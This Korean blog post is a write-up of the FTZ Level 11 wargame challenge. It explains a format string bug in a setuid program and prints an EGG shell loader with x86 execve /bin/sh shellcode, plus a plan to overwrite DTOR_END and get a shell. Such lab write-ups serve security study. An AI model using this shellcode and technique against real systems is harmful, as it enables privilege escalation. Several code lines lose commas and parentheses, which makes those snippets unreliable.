ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [FTZ Level11 풀이 ]
    System/FTZ 2018. 2. 15. 22:54

    [Level11 Code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdio.h>
    #include <stdlib.h>
     
    int main( int argc, char *argv[] )
    {
        char str[256];
     
         setreuid( 30923092 );
        strcpy( str, argv[1] );
        printf( str );
     

    cs


    여러가지 방법으로 풀 수 있지만, 나는 FSB를 이용해서 풀어봤다.

    pritnf( str ) 이 부분에서 FSB 취약점이 발생한다.

    자세한 정리는 [이곳]에 해두었으니, 자세한 설명은 생략하겠다.


    #공격 시나리오

    1. EGG Shell로 환경변수에 쉘코드를 올린다.


    2. FSB공격으로 attackme파일의 DTOR_END(소멸자)공간에 환경변수 주소를 저장한다.


    3. attackme가 종료되면서 소멸자가 실행되면 쉘이 실행된다.


    4. 쉘 획득! 


    여기서 DTOR_END(소멸자)란?

    - GNU Compiler(gcc)에서는 컴파일할 때 CTORS / DTORS 두 개의 세그먼트를 만든다.

    CTORS는 main함수 실행 전에 실행되고, DTORS는 main함수가 실행 된후에 실행된다.

    나는 C++에서 생성자와 소멸자의 개념으로 이들을 이해하고 있다.




    [EGG Shell Code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    #include <stdlib.h>
    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define DEFAULT_EGG_SIZE 2048
    #define NOP 0x90
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
     
    unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
    }
    int main(int argc, char *argv[]) {
            char *buff, *ptr, *egg;
            long *addr_ptr, addr;
            int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
            int i, eggsize=DEFAULT_EGG_SIZE;
            if (argc > 1) bsize   = atoi(argv[1]);
            if (argc > 2) offset  = atoi(argv[2]);
            if (argc > 3) eggsize = atoi(argv[3]);
            if (!(buff = malloc(bsize))) {
            printf("Can't allocate memory.\n");
            exit(0);
            }
            if (!(egg = malloc(eggsize))) {
            printf("Can't allocate memory.\n");
            exit(0);
            }
            addr = get_esp() - offset;
            printf("Using address: 0x%x\n", addr);
            ptr = buff;
            addr_ptr = (long *) ptr;
            for (i = 0; i < bsize; i+=4)
            {
                    if(i == 1040)
                    {
                            *(addr_ptr++= 0x1234567;
                    }
                    else
                            *(addr_ptr++= addr;
    }
            ptr = egg;
            for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
                    *(ptr++= NOP;
            for (i = 0; i < strlen(shellcode); i++)
                    *(ptr++= shellcode[i];
            buff[bsize - 1= '\0';
            egg[eggsize - 1= '\0';
            memcpy(egg,"EGG=",4);
            putenv(egg);
            memcpy(buff,"RET=",4);
            putenv(buff);
            system("/bin/bash");
    }
    cs


    해당 코드를 컴파일 한 후 실행하면

    이렇게 환경변수에 쉘이 올라가고, 해당 환경변수의 주소값을 출력해주는데 

    이 주소값은 실제 주소값과 다르니 따로 코드를 만들어서 다시 확인해줘야 한다.


    [getenv( ) EGG]

    1
    2
    3
    4
    5
    6
    7
    8
    #include <unistd.h>
     
    int main(int agrc, char **argv)
    {
            printf("%p\n",getenv("EGG"));
            return 0;
    }
     

    cs


    [실제 EGG 환경변수 주소]

    실제 환경변수의 주소는 [0xbffff47a] 이다.




    [attackme DTOR_END]

    이제 attackme의 DTOR_END 주소를 알아내면 된다.

    파일분석 명령어 중 [nm] 이라는 명령어가 있는데 이걸로 알아내면 된다.


    [nm attackme]

    DTOR_END의 주소는 [0x08049610] 이다.

    이제 필요한 정보는 다 얻었으니 FSB공격을 해보자




    [FSB Attack]

    해당 페이로드를 입력하면



    보는 것과 같이 Level12권한의 쉘이 따진것을 확인할 수 있다.

    자 그럼 다음 Level12문제를 풀어보도록 하겠다.



    'System > FTZ' 카테고리의 다른 글

    [FTZ Level15 풀이]  (0) 2018.02.16
    [FTZ Level14 풀이]  (0) 2018.02.16
    [FTZ Level13 풀이]  (0) 2018.02.16
    [FTZ Level12 풀이]  (0) 2018.02.15
    HackerSchool Level1 문제풀이  (1) 2017.10.05

    댓글

Designed by Tistory.